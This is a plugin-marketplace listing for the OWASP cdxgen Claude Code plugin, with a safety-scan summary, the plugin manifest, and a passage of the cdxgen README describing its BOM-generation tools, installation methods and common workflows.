Skip to content
Back to search

cdxgen-plugins

MarketplaceWorks with Claude CodeGitHub

OWASP cdxgen plugins for Claude Code

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

It has changed since its scan on 11 Nov 2026. Its scripts were only partly scanned.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/cdxgen/cdxgen with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/cdxgen/cdxgen'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/appthreat--cdxgen/badge.svg)](/listings/appthreat--cdxgen)

HTML

<a href="/listings/appthreat--cdxgen"><img src="/api/listings/appthreat--cdxgen/badge.svg" alt="findsafeskills safety rating" /></a>

Install

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

> [!IMPORTANT] > **The npm package was renamed in v13.** v13 and later are published as > [`@cdxgen/cdxgen`][npmjs-cdxgen]. v12 and earlier are published as > [`@cyclonedx/cdxgen`][npmjs-cdxgen-v12], which stays on npm and continues to > receive fixes on the `release/12.0.x` branch, but does not receive v13 > features. > > Upgrading means changing the package name, not just the version: > > ```shell > npm uninstall -g @cyclonedx/cdxgen > npm install -g @cdxgen/cdxgen --ignore-scripts --min-release-age=2 > ``` > > The `cdxgen` command, the CLI flags, and the container images are unchanged. > If you import cdxgen as a library, update the specifier: > `import { createBom } from "@cdxgen/cdxgen"`.

cdxgen is distributed three ways. The **standalone executables** and **container images** are the recommended choice for CI, production, and any environment where you want a self-contained tool with no Node.js dependency. The npm package is an alternative when you already manage JavaScript tooling or need cdxgen as a library. See [npm and JavaScript package managers](#npm-and-javascript-package-managers) below.

Regardless of how you install, the following commands are available:

| Command | Purpose | Standalone GitHub release binary | | --------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | | `cdxgen` | Generate CycloneDX / SPDX BOMs from source, images, binaries, git URLs, or purls | yes | | `aibom` | Generate CycloneDX AI/ML BOMs from source, Hugging Face URLs/purls, Modelfiles, or GGUF artifacts (`-t ai` defaults) | yes | | `hbom` | Generate a CycloneDX hardware BOM for the current host | yes (`hbom`, `hbom-slim`) | | `tracebom` | Trace command execution to capture dynamic CBOM, cryptographic properties, software components, and services | yes | | `cdx-audit` | Prioritize existing BOM dependencies for upstream supply-chain review using explainable risk signals | yes | | `cdx-convert` | Convert CycloneDX JSON to SPDX 3.0.1 JSON-LD | yes | | `cdx-sign` | Sign BOMs with JSF signatures | yes | | `cdx-validate` | Validate BOMs and benchmark posture | yes | | `cdx-verify` | Verify BOM signatures | yes | | `cdxi` | Open the interactive REPL | no | | `evinse` | Add evidence, reachability, and service context | no | | `cbom` | Alias for CBOM-oriented `cdxgen` defaults | yes | | `obom` | Alias for `cdxgen -t os` | yes | | `saasbom` | Alias for SaaSBOM-oriented `cdxgen` defaults | yes |

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/marketplace.json · Manifest · 28 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.

  1. {
  2. "name": "cdxgen-plugins",
  3. "description": "OWASP cdxgen plugins for Claude Code",
  4. "owner": {
  5. "name": "Prabhu Subramanian",
  6. "email": "prabhu@appthreat.com",
  7. "url": "https://github.com/cdxgen/cdxgen"
  8. },
  9. "plugins": [
  10. {
  11. "name": "cdxgen",
  12. "source": "./agent-plugin",
  13. "displayName": "OWASP cdxgen",
  14. "description": "OWASP cdxgen toolkit for coding agents: generate, enrich, audit, sign, validate, convert, and explore CycloneDX BOMs (SBOM, CBOM, HBOM, OBOM, SaaSBOM, AI-BOM, VDR) across source code, containers, live hosts, and hardware.",
  15. "category": "security",
  16. "keywords": [
  17. "sbom",
  18. "cyclonedx",
  19. "supply-chain",
  20. "security",
  21. "compliance"
  22. ],
  23. "license": "Apache-2.0",
  24. "homepage": "https://cdxgen.github.io/cdxgen",
  25. "repository": "https://github.com/cdxgen/cdxgen"
  26. }
  27. ]
  28. }
README.md · README · 1,012 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.

  1. [![SBOM](https://img.shields.io/badge/SBOM-with_%E2%9D%A4%EF%B8%8F_by_cdxgen-FF753D)](https://github.com/cdxgen/cdxgen)
  2. [![AI-DECLARATION: pair](https://img.shields.io/badge/䷼%20AI--DECLARATION-pair-ffedd5?labelColor=ffedd5)](./AI-DECLARATION.md)
  3. [![JSR][badge-jsr]][jsr-cdxgen]
  4. [![NPM][badge-npm]][npmjs-cdxgen]
  5. [![GitHub Releases][badge-github-releases]][github-releases]
  6. [![NPM Downloads][badge-npm-downloads]][npmjs-cdxgen]
  7. [![GitHub License][badge-github-license]][github-license]
  8. [![GitHub Contributors][badge-github-contributors]][github-contributors]
  9. [![SWH][badge-swh]][swh-cdxgen]
  10. # CycloneDX Generator (cdxgen)
  11. <img src="./docs/_media/cdxgen.png" width="200" height="auto" />
  12. cdxgen is a CLI tool, library, [REPL](./ADVANCED.md), and server to create, validate, sign, and verify software BOMs. It generates CycloneDX JSON BOMs and supports SPDX 3.0.1 JSON-LD export. CycloneDX is a full-stack BOM specification that is easily created, human and machine-readable, and simple to parse. The tool generates BOMs targeting CycloneDX specification versions 1.6, 1.7, and 2.0, and the output can be downgraded to 1.4 or 1.5 for legacy consumers.
  13. Supported BOM formats:
  14. - Hardware (HBOM) - For supported live hosts such as Apple Silicon macOS, Linux amd64/arm64, and Windows amd64/arm64 systems.
  15. - Software (SBOM) - For many languages and container images.
  16. - Cryptography (CBOM) - For Java keystores and certificates, plus JavaScript and TypeScript source-level algorithm inventory.
  17. - Operations (OBOM) - For Linux container images and VMs running Linux or Windows operating systems.
  18. - Software-as-a-Service (SaaSBOM) - For Java, Python, JavaScript, TypeScript, and PHP projects.
  19. - AI/ML (AI-BOM) - For prompt files, AI services, MCP configs, and model metadata with explainable AI-governance, security, performance, and agentic findings.
  20. - Attestations (CDXA) - Generate SBOM with templates for multiple standards. Sign the BOM document at a granular level to improve authenticity.
  21. - Vulnerability Disclosure Report (VDR) - Use cdxgen with [OWASP depscan](https://github.com/owasp-dep-scan/dep-scan) to automate the generation of VDR at scale.
  22. Supported output document formats:
  23. - CycloneDX JSON (primary native format)
  24. - SPDX 3.0.1 JSON-LD (`cdxgen --format spdx` or `cdx-convert`)
  25. ## Choose your path
  26. | Persona | What cdxgen helps you do | First command | Read next |
  27. | --------------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
  28. | **Developers** | Generate a CycloneDX BOM from a local repo, git URL, purl, or container image | `cdxgen -o bom.json .` | [CLI Usage][docs-cli], [Supported Project Types][docs-project-types] |
  29. | **AI platform teams** | Generate AI/ML BOMs, catalog prompt/model/MCP surfaces, and run AI-BOM governance | `aibom .` | [AI-BOM Guide](docs/AI_BOM.md), [AI-BOM lesson](docs/LESSON15.md) |
  30. | **Hardware teams** | Generate an HBOM or merged HBOM+OBOM host view for the current host | `hbom -o hbom.json` | [HBOM guide](docs/HBOM.md), [HBOM lesson](docs/LESSON13.md) |
  31. | **AppSec** | Enrich BOMs with evidence, run BOM audit rules, and feed downstream security workflows | `cdxgen -o bom.json --profile appsec --evidence --bom-audit .` | [BOM Audit](docs/BOM_AUDIT.md), [Threat Model](docs/THREAT_MODEL.md) |
  32. | **Build engineers** | Grade how completely the SBOM captured the project, and get ranked fixes when the build environment degraded it | `cdxgen --profile introspect --introspect-fail-below 70 -o bom.json .` | [Build Introspection](docs/INTROSPECTION.md), [Fidelity loop skill](.agents/skills/sbom-fidelity-loop/SKILL.md) |
  33. | **SOC analysts** | Build OBOM inventories for live hosts and triage runtime posture issues | `obom -o obom.json --deep --bom-audit --bom-audit-categories obom-runtime` | [OBOM lessons](docs/OBOM_LESSONS.md), [Server Usage][docs-server] |
  34. | **Compliance teams** | Validate BOM quality, check SCVS/CRA posture, and export SPDX deliverables | `cdx-validate -i bom.json --benchmark scvs-l2,cra` | [cdx-validate](docs/CDX_VALIDATE.md), [cdx-convert](docs/CDX_CONVERT.md), [Permissions][docs-permissions] |
  35. | **Security Teams** | Dynamically trace executions to capture cryptographic activities, CBOM properties, software components, and services | `tracebom --cmd "npm test" --trace-crypto -o cbom.json` | [Threat Model](docs/THREAT_MODEL.md) |
  36. ### Role-based quick starts
  37. #### For developers
  38. - Start with a local path, git URL, or purl and generate a BOM in one command.
  39. - Use [Supported Project Types][docs-project-types] to confirm ecosystem coverage before wiring cdxgen into CI.
  40. #### For hardware and platform teams
  41. - Use `hbom` when you need a CycloneDX hardware inventory for the current host rather than a software dependency graph.
  42. - Start with the [HBOM guide](docs/HBOM.md) and the [HBOM lesson](docs/LESSON13.md) for supported platforms, enrichment options, and validation workflows.
  43. - Use `hbom --dry-run` first when you want a read-only partial HBOM plus an exact list of blocked hardware probe commands before a full collection run.
  44. - Use `hbom diagnostics` when you want a focused summary of missing native utilities and permission-denied enrichments before deciding whether to install host packages or rerun with `--privileged`.
  45. - Use `hbom --include-runtime` when you want one topology-aware CycloneDX host document that merges hardware inventory with runtime evidence using strict, non-guessing joins.
  46. #### For AppSec
  47. - Use `--profile appsec`, `--evidence`, and `--bom-audit` when you want richer security context.
  48. - Combine generation with [BOM Audit](docs/BOM_AUDIT.md), [cdx-validate](docs/CDX_VALIDATE.md), signing, and verification for a fuller secure-SBOM workflow.
  49. - Use `tracebom` to dynamically profile applications & services and capture negotiated TLS cipher suites, protocols, cryptographic libraries, dynamically resolved software components, and services in CycloneDX 1.7 format.
  50. #### For AI platform and governance teams
  51. - Use `--include-formulation` plus `--bom-audit --bom-audit-categories ai-bom` when you want one AI-BOM workflow for prompt files, AI services, MCP configs, and model metadata.
  52. - Use `aibom` when you want the same defaults in one dedicated CLI, including direct Hugging Face purls/URLs and direct Modelfile / `.gguf` inputs.
  53. - Start with the [AI-BOM Guide](docs/AI_BOM.md) and the [AI-BOM lesson](docs/LESSON15.md) for the preferred alias, review flow, and category breakdown.
  54. #### For SOC analysts
  55. - Use `obom` for live-system and runtime inventory on Linux, Windows, and macOS hosts.
  56. - Focus on [OBOM lessons](docs/OBOM_LESSONS.md) when you need host triage, persistence review, Linux GTFOBins-backed runtime analysis, hardening drift review, or incident-response evidence.
  57. #### For compliance and platform governance
  58. - Use `cdx-validate` to assess structural and compliance posture, then `cdx-convert` when SPDX output is required.
  59. - Review [Permissions][docs-permissions] and hardened-environment guidance before adopting cdxgen in controlled pipelines.
  60. ## Why cdxgen?
  61. Most SBOM tools are like simple barcode scanners. For easy applications, they can parse a few package manifests and create a list of components only based on these files without any deep inspection. Further, a typical application might have several repos, components, and libraries with complex build requirements. Traditional techniques to generate an SBOM per language or package manifest either do not work in enterprise environments or don't provide the confidence required for both compliance and automated analysis. So we built cdxgen - the universal polyglot SBOM generator that is user-friendly, precise, and comprehensive!
  62. **Our philosophy:**
  63. - _Explainability:_ Don't list, but explain with evidence.
  64. - _Precision:_ Try using multiple techniques to improve precision, even if it takes extra time.
  65. - _Personas:_ Cater to the needs of a range of personas such as security researchers, compliance auditors, developers, and SOC.
  66. - _Machine Learning:_ Optimize the generated data for Machine Learning (ML) purposes by considering the various model properties.
  67. - _Safety:_ Execute external build tools and handle untrusted inputs defensively, with hardened defaults, a [secure mode](docs/PERMISSIONS.md) for sensitive environments, and a read-only `--dry-run` mode for review-first workflows.
  68. ## Documentation
  69. Please visit our [documentation site][docs-homepage] for detailed usage, tutorials, and support documentation.
  70. Sections include:
  71. - [Getting Started][docs-homepage]
  72. - [CLI Usage][docs-cli]
  73. - [Migration to v13](MIGRATING-TO-V13.md)
  74. - [HBOM Guide](docs/HBOM.md)
  75. - [Merged Host View Lesson](docs/LESSON13.md)
  76. - [Server Usage][docs-server]
  77. - [Hands-on Lessons](docs/LESSON8.md)
  78. - [Container Escape & Privilege Lesson](docs/LESSON9.md)
  79. - [HBOM Lesson](docs/LESSON13.md)
  80. - [Supported Project Types][docs-project-types]
  81. - [Environment Variables][docs-env-vars]
  82. - [Advanced Usage][docs-advanced-usage]
  83. - [Permissions][docs-permissions]
  84. - [cdx-audit Guide](docs/CDX_AUDIT.md)
  85. - [cdx-convert Guide](docs/CDX_CONVERT.md)
  86. - [cdx-validate Guide](docs/CDX_VALIDATE.md)
  87. - [cdx-verify Guide](docs/CDX_VERIFY.md)
  88. - [cdx-sign Guide](docs/CDX_SIGN.md)
  89. - [Tracebom Guide](docs/TRACEBOM.md)
  90. - [AI-BOM Guide](docs/AI_BOM.md)
  91. - [MCP Inventory](docs/MCP.md)
  92. - [REPL Guide](docs/REPL.md)
  93. - [Custom Properties](docs/CUSTOM_PROPERTIES.md)
  94. - [Coding Agent Plugin](agent-plugin/README.md)
  95. - [Installing the plugin in coding agents](docs/AGENT_PLUGINS.md)
  96. - [Agent CI recipes](docs/AGENT_CI.md)
  97. - [Deprecations](docs/DEPRECATIONS.md)
  98. - [Security Policy](SECURITY.md)
  99. - [Threat Model](docs/THREAT_MODEL.md)
  100. - [Support (Enterprise & Community)][docs-support]
  101. ## Usage
  102. ## Installing
  103. > [!IMPORTANT]
  104. > **The npm package was renamed in v13.** v13 and later are published as
  105. > [`@cdxgen/cdxgen`][npmjs-cdxgen]. v12 and earlier are published as
  106. > [`@cyclonedx/cdxgen`][npmjs-cdxgen-v12], which stays on npm and continues to
  107. > receive fixes on the `release/12.0.x` branch, but does not receive v13
  108. > features.
  109. >
  110. > Upgrading means changing the package name, not just the version:
  111. >
  112. > ```shell
  113. > npm uninstall -g @cyclonedx/cdxgen
  114. > npm install -g @cdxgen/cdxgen --ignore-scripts --min-release-age=2
  115. > ```
  116. >
  117. > The `cdxgen` command, the CLI flags, and the container images are unchanged.
  118. > If you import cdxgen as a library, update the specifier:
  119. > `import { createBom } from "@cdxgen/cdxgen"`.
  120. cdxgen is distributed three ways. The **standalone executables** and **container
  121. images** are the recommended choice for CI, production, and any environment
  122. where you want a self-contained tool with no Node.js dependency. The npm package
  123. is an alternative when you already manage JavaScript tooling or need cdxgen as a
  124. library. See [npm and JavaScript package managers](#npm-and-javascript-package-managers)
  125. below.
  126. Regardless of how you install, the following commands are available:
  127. | Command | Purpose | Standalone GitHub release binary |
  128. | --------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- |
  129. | `cdxgen` | Generate CycloneDX / SPDX BOMs from source, images, binaries, git URLs, or purls | yes |
  130. | `aibom` | Generate CycloneDX AI/ML BOMs from source, Hugging Face URLs/purls, Modelfiles, or GGUF artifacts (`-t ai` defaults) | yes |
  131. | `hbom` | Generate a CycloneDX hardware BOM for the current host | yes (`hbom`, `hbom-slim`) |
  132. | `tracebom` | Trace command execution to capture dynamic CBOM, cryptographic properties, software components, and services | yes |
  133. | `cdx-audit` | Prioritize existing BOM dependencies for upstream supply-chain review using explainable risk signals | yes |
  134. | `cdx-convert` | Convert CycloneDX JSON to SPDX 3.0.1 JSON-LD | yes |
  135. | `cdx-sign` | Sign BOMs with JSF signatures | yes |
  136. | `cdx-validate` | Validate BOMs and benchmark posture | yes |
  137. | `cdx-verify` | Verify BOM signatures | yes |
  138. | `cdxi` | Open the interactive REPL | no |
  139. | `evinse` | Add evidence, reachability, and service context | no |
  140. | `cbom` | Alias for CBOM-oriented `cdxgen` defaults | yes |
  141. | `obom` | Alias for `cdxgen -t os` | yes |
  142. | `saasbom` | Alias for SaaSBOM-oriented `cdxgen` defaults | yes |
  143. | `spdxgen` | Alias for `cdxgen --format spdx` | use `cdxgen` |
  144. | `cdxgen-secure` | `cdxgen` in secure mode, with dependency installation always off | use `cdxgen` |
  145. Standalone GitHub release binaries are published for `cdxgen`, `cdxgen-slim`, `aibom`, `cbom`, `obom`, `saasbom`, `hbom`, `hbom-slim`, `cdx-audit`, `cdx-convert`, `cdx-sign`, `cdx-validate`, `cdx-verify`, and `tracebom`.
  146. `hbom` release binaries bundle both `@cdxgen/cdx-hbom` and the matching `@cdxgen/cdxgen-plugins-bin*` companion helpers for the target platform. `hbom-slim` keeps the dedicated hardware collector (`@cdxgen/cdx-hbom`) but omits the companion plugin bundle when you want the smallest single-file HBOM executable.
  147. The `cbom` and `saasbom` release binaries bundle the Atom analysis stack (`@appthreat/atom` and `@appthreat/atom-parsetools`) plus protobuf export support (`@cdxgen/cdx-proto` and `@bufbuild/protobuf`). As of atom 3, `cbom` and `saasbom` embed a native atom binary and need **no JDK** on linux-amd64, linux-arm64 (glibc), linux-amd64-musl, darwin-arm64, and windows-amd64. On the jar-kind triples (darwin-amd64, windows-arm64, and linux-arm64-musl), the embedded atom still runs on the JVM and requires Java 23+. The bundled atom-parsetools includes the `parsa` platform package for the target, so the JavaScript and TypeScript type maps behind usage evidence are produced natively on every triple that has one. The `obom` release binary bundles the matching platform plugin package, pruned to runtime OS inventory helpers, plus the same protobuf export support. These aliases therefore support `--export-proto --proto-bin-file <file>` without requiring a separate npm install.
  148. `cdx-audit` is designed to accelerate upstream dependency review with explainable, evidence-backed risk prioritization. It complements provenance, reproducibility, and manual investigation rather than replacing them. Beyond the basic `cdx-audit --bom bom.json` usage, it supports three reporters (`--report console|json|sarif`), scope selection (`--scope all|required`), trusted-publishing filters (`--include-trusted` and `--only-trusted`), and license policies via `--license-policy`. Non-zero exit codes on findings make it easy to gate CI pipelines. See the [cdx-audit guide](docs/CDX_AUDIT.md) for the full reference.
  149. For AI-heavy repositories, cdxgen also supports an AI-BOM workflow via the `aibom` command or the `-t ai` project type aliases (`ai`, `aibom`, `ai-bom`). This emits AI service/model evidence and pairs naturally with the `ai-bom` BOM-audit category alias for governance, security, performance, AI-agent, and MCP findings.
  150. For host inventories, `hbom --include-runtime` produces a merged HBOM + OBOM view with strict topology links such as interface-name, driver-module, storage/runtime (including Windows drive letters), and explicit secure-boot trust matches, plus a `host-topology` BOM audit pack for higher-confidence host findings. When the live hardware collector reports missing utilities or permission-sensitive enrichments, use `hbom diagnostics` (or inspect the derived `cdx:hbom:analysis:*` summary properties) before deciding whether a rerun with `--privileged` is justified. On Windows, `--privileged` only helps from an already-elevated session, and a non-administrator over SSH or WinRM is denied every WMI query; see [HBOM permissions](docs/PERMISSIONS.md#hbom-permissions).
  151. ### Standalone executables (recommended)
  152. For a self-contained tool with no runtime dependencies, download a published
  153. release asset and verify its hash before executing it. This is the recommended
  154. method for CI and production use.
  155. Common asset names:
  156. - `cdxgen-linux-amd64`
  157. - `cdxgen-linux-amd64-musl`
  158. - `cdxgen-darwin-arm64`
  159. - `cdxgen-windows-amd64.exe`
  160. - `aibom-linux-amd64`
  161. - `aibom-darwin-arm64`
  162. - `aibom-windows-amd64.exe`
  163. - `hbom-linux-amd64`
  164. - `hbom-linux-amd64-slim`
  165. - `hbom-darwin-arm64`
  166. - `hbom-windows-amd64.exe`
  167. - `cdx-audit-linux-amd64`
  168. - `cdx-audit-darwin-arm64`
  169. - `cdx-audit-windows-amd64.exe`
  170. - `cdx-convert-*`, `cdx-sign-*`, `cdx-validate-*`, `cdx-verify-*`
  171. #### Linux
  172. ```bash
  173. VERSION="v13.8.0"
  174. ASSET="cdx-audit-linux-amd64"
  175. BASE_URL="https://github.com/cdxgen/cdxgen/releases/download/${VERSION}"
  176. curl -fsSLO "${BASE_URL}/${ASSET}"
  177. curl -fsSLO "${BASE_URL}/${ASSET}.sha256"
  178. sha256sum -c "${ASSET}.sha256"
  179. chmod +x "${ASSET}"
  180. ./"${ASSET}" --help
  181. ```
  182. #### macOS
  183. ```bash
  184. VERSION="v13.8.0"
  185. ASSET="cdx-audit-darwin-arm64"
  186. BASE_URL="https://github.com/cdxgen/cdxgen/releases/download/${VERSION}"
  187. curl -fsSLO "${BASE_URL}/${ASSET}"
  188. curl -fsSLO "${BASE_URL}/${ASSET}.sha256"
  189. shasum -a 256 -c "${ASSET}.sha256"
  190. chmod +x "${ASSET}"
  191. ./"${ASSET}" --help
  192. ```
  193. #### Windows (PowerShell)
  194. ```powershell
  195. $Version = "v13.8.0"
  196. $Asset = "cdx-audit-windows-amd64.exe"
  197. $BaseUrl = "https://github.com/cdxgen/cdxgen/releases/download/$Version"
  198. Invoke-WebRequest -Uri "$BaseUrl/$Asset" -OutFile $Asset
  199. Invoke-WebRequest -Uri "$BaseUrl/$Asset.sha256" -OutFile "$Asset.sha256"
  200. $Expected = (Get-Content "$Asset.sha256" | Select-Object -First 1).Trim().Split()[0]
  201. $Actual = (Get-FileHash $Asset -Algorithm SHA256).Hash.ToLowerInvariant()
  202. if ($Actual -ne $Expected.ToLowerInvariant()) {
  203. throw "SHA256 mismatch for $Asset"
  204. }
  205. .\$Asset --help
  206. ```
  207. #### GitHub Actions with the GitHub CLI
  208. ```yaml
  209. permissions:
  210. contents: read
  211. steps:
  212. - name: Download cdx-audit release binary
  213. env:
  214. GH_TOKEN: ${{ github.token }}
  215. run: |
  216. gh release download v13.8.0 \
  217. --repo cdxgen/cdxgen \
  218. --pattern 'cdx-audit-linux-amd64' \
  219. --pattern 'cdx-audit-linux-amd64.sha256'
  220. sha256sum -c cdx-audit-linux-amd64.sha256
  221. chmod +x cdx-audit-linux-amd64
  222. ./cdx-audit-linux-amd64 --help
  223. ```
  224. Package managers that install the standalone executable with a single command:
  225. If you are a [Homebrew][homebrew-homepage] user, you can install [cdxgen][homebrew-cdxgen] via:
  226. ```shell
  227. $ brew install cdxgen
  228. ```
  229. If you are a [Winget][winget-homepage] user on windows, you can also install cdxgen via:
  230. ```shell
  231. winget install cdxgen
  232. ```
  233. ### Container images
  234. You can also use the cdxgen container image with node, deno, or bun runtime versions.
  235. The default version uses Node.js 26
  236. ```bash
  237. docker run --rm -e CDXGEN_DEBUG_MODE=debug -v /tmp:/tmp -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen:master -r /app -o /app/bom.json
  238. ```
  239. To use the deno version, use `ghcr.io/cdxgen/cdxgen-deno` as the image name.
  240. ```bash
  241. docker run --rm -e CDXGEN_DEBUG_MODE=debug -v /tmp:/tmp -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen-deno:master -r /app -o /app/bom.json
  242. ```
  243. For the bun version, use `ghcr.io/cdxgen/cdxgen-bun` as the image name.
  244. ```bash
  245. docker run --rm -e CDXGEN_DEBUG_MODE=debug -v /tmp:/tmp -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen-bun:master -r /app -o /app/bom.json
  246. ```
  247. ### npm and JavaScript package managers
  248. The npm package is an alternative when you already have Node.js >= 24 available
  249. or need cdxgen as a library. It is the least self-contained option because it
  250. relies on a JavaScript runtime and optional native companions.
  251. Install the npm package without the optional binary plugins for basic SBOM generation.
  252. **npm**:
  253. ```shell
  254. npm install -g @cdxgen/cdxgen --omit=optional --ignore-scripts --min-release-age=2
  255. ```
  256. For a full and rich experience with support for multiple BOM types, remove `--omit=optional`.
  257. ```shell
  258. npm install -g @cdxgen/cdxgen --ignore-scripts --min-release-age=2
  259. ```
  260. The optional dependencies also decide how JavaScript and TypeScript usage evidence is computed. `@appthreat/atom-parsetools` 2.0.0 writes the type maps for that evidence with its `parsa` binary, which type checks with TypeScript 7's checker and runs about four times faster than the TypeScript 6 fallback. The binary ships as one of six `@appthreat/parsa-<os>-<cpu>` platform packages listed as optional dependencies, so a plain install brings the one matching the host. An install with `--omit=optional` (or pnpm's `--no-optional`) keeps TypeScript 6 instead; astgen's own settings, such as `ASTGEN_TYPES` and `ASTGEN_NATIVE_BIN`, are documented in [atom-parsetools' ASTGEN.md](https://github.com/AppThreat/atom-parsetools/blob/main/docs/ASTGEN.md).
  261. **pnpm**:
  262. ```shell
  263. pnpm add -g @cdxgen/cdxgen --ignore-scripts --config.minimum-release-age=2880
  264. ```
  265. **bun**:
  266. ```shell
  267. bun install -g @cdxgen/cdxgen --ignore-scripts
  268. ```
  269. To run cdxgen without installing (hotloading), use the [pnpm dlx](https://pnpm.io/cli/dlx) command.
  270. ```shell
  271. corepack pnpm dlx @cdxgen/cdxgen --help
  272. ```
  273. You can call any packaged command the same way:
  274. ```shell
  275. corepack pnpm dlx --package=@cdxgen/cdxgen cdx-audit --help
  276. corepack pnpm dlx --package=@cdxgen/cdxgen cdx-convert --help
  277. corepack pnpm dlx --package=@cdxgen/cdxgen cdx-validate --help
  278. corepack pnpm dlx --package=@cdxgen/cdxgen cdx-sign --help
  279. corepack pnpm dlx --package=@cdxgen/cdxgen cdx-verify --help
  280. corepack pnpm dlx --package=@cdxgen/cdxgen hbom --help
  281. corepack pnpm dlx --package=@cdxgen/cdxgen hbom diagnostics --help
  282. corepack pnpm dlx --package=@cdxgen/cdxgen evinse --help
  283. corepack pnpm dlx --package=@cdxgen/cdxgen cdxi --help
  284. ```
  285. cdxgen also runs under the [bun](https://bun.sh) runtime, including `bunx --bun @cdxgen/cdxgen`. Bun projects using a text lockfile (`bun.lock`) are supported as an SBOM target via the `bun` project type (`-t bun`); the legacy binary lockfile (`bun.lockb`) is not parsed, so regenerate a text lockfile with `bun install --save-text-lockfile`.
  286. ```shell
  287. bun install -g @cdxgen/cdxgen --ignore-scripts
  288. ```
  289. cdxgen also runs under the [deno](https://deno.com) runtime. Deno projects with a lockfile (`deno.lock`, versions 2 - 5) are supported as an SBOM target via the `deno` project type (`-t deno`); `jsr:` imports are recorded under the `@jsr` npm-compat scope, `npm:` imports as regular npm components and remote `https://` imports as generic components.
  290. ```shell
  291. deno install --allow-read --allow-env --allow-run --allow-sys=uid,systemMemoryInfo,gid,homedir --allow-write --allow-net -n cdxgen "npm:@cdxgen/cdxgen/cdxgen"
  292. ```
  293. In deno applications, cdxgen could be directly imported without any conversion.
  294. ```ts
  295. import { createBom, submitBom } from "npm:@cdxgen/cdxgen@^13";
  296. ```
  297. ## Common workflows
  298. | Goal | First command | Read next |
  299. | ---------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ----------------------------------------------- |
  300. | Generate a BOM from the current repository | `cdxgen -o bom.json .` | [CLI Usage][docs-cli] |
  301. | Generate a BOM from a git URL | `cdxgen -o bom.json https://github.com/example/project.git` | [CLI Usage][docs-cli] |
  302. | Generate a BOM from a package URL | `cdxgen -o bom.json "pkg:npm/lodash@4.17.21"` | [CLI Usage][docs-cli] |
  303. | Generate a dynamically traced CBOM for an application | `tracebom --cmd "npm test" --trace-crypto -o cbom.json` | [Threat Model](docs/THREAT_MODEL.md) |
  304. | Generate and audit an AI-BOM from the current repository | `cdxgen -r --include-formulation -o aibom.json --bom-audit --bom-audit-categories ai-bom .` | [AI-BOM Guide](docs/AI_BOM.md) |
  305. | Scan a container image | `cdxgen ghcr.io/owasp-dep-scan/depscan:nightly -o bom.json -t docker` | [Server Usage][docs-server] |
  306. | Audit a generated BOM for built-in supply-chain findings | `cdxgen -o bom.json --bom-audit .` | [BOM Audit](docs/BOM_AUDIT.md) |
  307. | Prioritize an existing BOM for upstream risk-driven review | `cdx-audit --bom bom.json` | [cdx-audit](docs/CDX_AUDIT.md) |
  308. | Re-audit a saved AI-BOM directly later | `cdx-audit --bom aibom.json --direct-bom-audit --categories ai-bom` | [AI-BOM Guide](docs/AI_BOM.md) |
  309. | Enrich and audit a Go BOM with Golem semantic evidence | `evinse -i bom.json -o bom.evinse.json -l go /absolute/path/to/go/project` | [Go Evinse with Golem](docs/GO_EVINSE_GOLEM.md) |
  310. | Re-audit a saved OBOM or BOM directly later | `cdx-audit --bom obom.json --direct-bom-audit --categories obom-runtime` | [cdx-audit](docs/CDX_AUDIT.md) |
  311. | Validate a BOM against structural and compliance checks | `cdx-validate -i bom.json` | [cdx-validate](docs/CDX_VALIDATE.md) |
  312. | Convert CycloneDX JSON to SPDX JSON-LD | `cdx-convert -i bom.json -o bom.spdx.json` | [cdx-convert](docs/CDX_CONVERT.md) |
  313. | Generate an OBOM for live-system triage | `obom -o obom.json --deep --bom-audit --bom-audit-categories obom-runtime` | [OBOM lessons](docs/OBOM_LESSONS.md) |
  314. | Review an offline rootfs for hardening drift | `cdxgen /absolute/path/to/rootfs -t rootfs -o bom.json --bom-audit --bom-audit-categories rootfs-hardening` | [BOM Audit](docs/BOM_AUDIT.md) |
  315. For the full option reference, use `cdxgen --help` or visit [CLI Usage][docs-cli].
  316. Companion commands also expose built-in help:
  317. - `cbom --help`
  318. - `cdx-audit --help`
  319. - `cdx-validate --help`
  320. - `cdx-convert --help`
  321. - `cdx-sign --help`
  322. - `cdx-verify --help`
  323. - `cdxgen-secure --help`
  324. - `cdxi --help`
  325. - `evinse --help`
  326. - `obom --help`
  327. - `saasbom --help`
  328. - `spdxgen --help`
  329. ## Example
  330. Minimal example.
  331. ```shell
  332. cdxgen -o bom.json
  333. ```
  334. The primary positional input can be:
  335. - a local filesystem path (default: current directory)
  336. - a git URL that cdxgen clones before scanning
  337. - a package URL (purl) that cdxgen resolves to source and then scans
  338. Common source input examples:
  339. ```shell
  340. # Local path
  341. cdxgen -o bom.json .
  342. # Git URL
  343. cdxgen -t java -o bom.json --git-branch main https://github.com/HooliCorp/java-sec-code.git
  344. # Package URL (purl)
  345. cdxgen -t js -o bom.json "pkg:npm/lodash@4.17.21"
  346. ```
  347. For a java project. cdxgen would automatically detect maven, gradle, or sbt and build bom accordingly
  348. ```shell
